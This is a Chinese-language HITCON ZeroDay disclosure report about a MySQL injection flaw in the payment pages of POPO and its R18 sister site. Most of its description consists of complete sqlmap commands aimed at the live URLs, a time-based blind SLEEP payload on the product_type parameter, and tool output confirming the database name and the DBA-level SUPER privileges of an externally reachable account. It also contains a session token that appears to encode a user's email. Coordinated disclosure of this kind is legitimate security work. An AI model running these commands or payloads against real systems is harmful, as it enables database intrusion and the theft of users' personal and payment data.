POPO MYSQL 注入漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-01037
  •  發信 Vendor: 城邦原創股份有限公司
  • Title: POPO MYSQL 注入漏洞
  • Introduction: 付費管道存在MYSQL注入漏洞

處理狀態

目前狀態

公開
Last Update : 2026/10/17
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2026/08/17 10:26:25 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/08/17 11:14:24 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/08/17 11:16:50 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/08/18 05:31:37 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/08/21 16:09:15 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/31 16:45:47 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/31 16:45:47 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/31 16:45:47 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/10/17 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.popo.tw/
https://emoney.popo.tw/emoney/step2.php
R18站點同樣也有
https://emoney.po18.tw/emoney/step2.php

敘述

需要註冊帳號 付款 第一階段往第二階段的瞬間 獲取請求的authenticity_token
漏洞位於product_type

sqlmap -u "https://emoney.popo.tw/emoney/step2.php" \
--data "authenticity_token=NTMwODU1NDtQb3BvMTIzdHdhYWI7YTIzNDEyMzIzNGFAZ21haWwuY29tO1BPUE8%253D&product_type=4" \
-p "authenticity_token,product_type" \
--batch \
--random-agent \
--threads 3 \
--tamper space2comment \
--level 3 \
--risk 2

檢測數據庫名emoney_db
sqlmap -u "https://emoney.popo.tw/emoney/step2.php" \
--data "authenticity_token=NTMwODU1NDtQb3BvMTIzdHdhYWI7YTIzNDEyMzIzNGFAZ21haWwuY29tO1BPUE8%253D&product_type=4" \
-p "product_type" \
--dbms=mysql \
--technique=T \
--current-db \
--batch \
--random-agent \
--threads 3 \
--tamper space2comment \
--level 3 \
--risk 2
Parameter: product_type (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: authenticity_token=NTMwODU1NDtQb3BvMTIzdHdhYWI7YTIzNDEyMzIzNGFAZ21haWwuY29tO1BPUE8%3D&product_type=4' AND (SELECT 8327 FROM (SELECT(!SLEEP(5)))PrPp) AND 'liFh'='liFh

[10:16:49] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[10:16:49] [INFO] testing MySQL
[10:16:49] [WARNING] reflective value(s) found and filtering out
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[10:16:57] [INFO] confirming MySQL
[10:16:57] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[10:17:08] [INFO] adjusting time delay to 1 second due to good response times
[10:17:08] [INFO] the back-end DBMS is MySQL
web application technology: PHP
back-end DBMS: MySQL >= 5.0.0
[10:17:08] [INFO] fetching current database
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] N
[10:17:08] [INFO] retrieved: emoney_db
current database: 'emoney_db'
[10:17:48] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/emoney.popo.tw'

[] ending @ 10:17:48 /2026-08-17/
列出所有數據庫
只有
[
] emoney_db
[*] information_schema

sqlmap -u "https://emoney.popo.tw/emoney/step2.php" \
--data "authenticity_token=NTMwODU1NDtQb3BvMTIzdHdhYWI7YTIzNDEyMzIzNGFAZ21haWwuY29tO1BPUE8%253D&product_type=4" \
-p "product_type" \
--dbms=mysql \
--technique=T \
--dbs \
--batch \
--random-agent \
--threads 3 \
--tamper space2comment \
--level 3 \
--risk 2

查DBA權限 用戶名'emoney'@'%' 開放外網
權限屬於SUPER 擁有DBA權限
sqlmap -u "https://emoney.popo.tw/emoney/step2.php" \
--data "authenticity_token=NTMwODU1NDtQb3BvMTIzdHdhYWI7YTIzNDEyMzIzNGFAZ21haWwuY29tO1BPUE8%253D&product_type=4" \
-p "product_type" \
--dbms=mysql \
--technique=T \
--privileges \
--batch \
--random-agent \
--threads 3 \
--tamper space2comment \
--level 3 \
--risk 2

R18站點
查數據庫 (emoney_db)
sqlmap -u "https://emoney.po18.tw/emoney/step2.php" \
--data "authenticity_token=NTMwODU1NDtQb3BvMTIzdHdhYWI7YTIzNDEyMzIzNGFAZ21haWwuY29tO1BPMTg%253D&product_type=4" \
-p "product_type" \
--dbms=mysql \
--technique=T \
--current-db \
--batch \
--random-agent \
--threads 3 \
--tamper space2comment \
--level 3 \
--risk 2

查使用者名稱 權限
web application technology: PHP
back-end DBMS: MySQL >= 5.0.0
[05:30:01] [INFO] fetching database users privileges
[05:30:01] [INFO] fetching database users
[05:30:01] [INFO] fetching number of database users
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] N
[05:30:02] [INFO] retrieved: 1
[05:30:04] [INFO] retrieved: 'emoney'@'%'
[05:30:56] [INFO] fetching number of privileges for user 'emoney'
[05:30:56] [INFO] retrieved: 1
[05:31:00] [INFO] fetching privileges for user 'emoney'
[05:31:00] [INFO] retrieved: SUPER
database management system users privileges:
[*] emoney (administrator) [1]:
privilege: SUPER

[05:31:21] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/emoney.po18.tw'

[*] ending @ 05:31:21 /2026-08-18/

sqlmap -u "https://emoney.po18.tw/emoney/step2.php" \
--data "authenticity_token=NTMwODU1NDtQb3BvMTIzdHdhYWI7YTIzNDEyMzIzNGFAZ21haWwuY29tO1BPUE8%253D&product_type=4" \
-p "product_type" \
--dbms=mysql \
--technique=T \
--privileges \
--batch \
--random-agent \
--threads 3 \
--tamper space2comment \
--level 3 \
--risk 2

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;